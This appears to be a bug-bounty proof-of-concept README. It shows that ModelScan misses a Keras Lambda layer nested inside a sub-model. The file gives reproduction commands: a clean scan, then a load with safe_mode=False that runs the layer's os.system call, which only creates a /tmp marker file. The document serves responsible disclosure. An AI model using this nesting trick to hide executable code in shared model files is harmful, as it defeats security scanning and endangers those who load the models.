| # ModelScan bypass PoC — Nested Lambda in `.keras` | |
| Security research PoC for the Protect AI Huntr "Model Format Vulnerability" program. | |
| **Issue:** ModelScan only inspects *top-level* layers when scanning `.keras`/`.h5` for | |
| `class_name == "Lambda"`. A `Lambda` layer nested inside a sub-model (`Sequential`/`Functional`) | |
| is **not detected** (`total_issues = 0`), yet Keras reconstructs and executes it on load+use. | |
| **Payload in this PoC is benign:** `os.system("touch /tmp/keras_nested_pwned")`. | |
| ## Reproduce | |
| ```bash | |
| pip install modelscan keras tensorflow | |
| modelscan -p nested_evil.keras # -> "No issues found" / total_issues=0 (BYPASS) | |
| python -c "import keras,numpy as np; m=keras.saving.load_model('nested_evil.keras',safe_mode=False,compile=False); m.predict(np.zeros((1,3)))" | |
| ls /tmp/keras_nested_pwned # marker created -> code executed | |
| ``` | |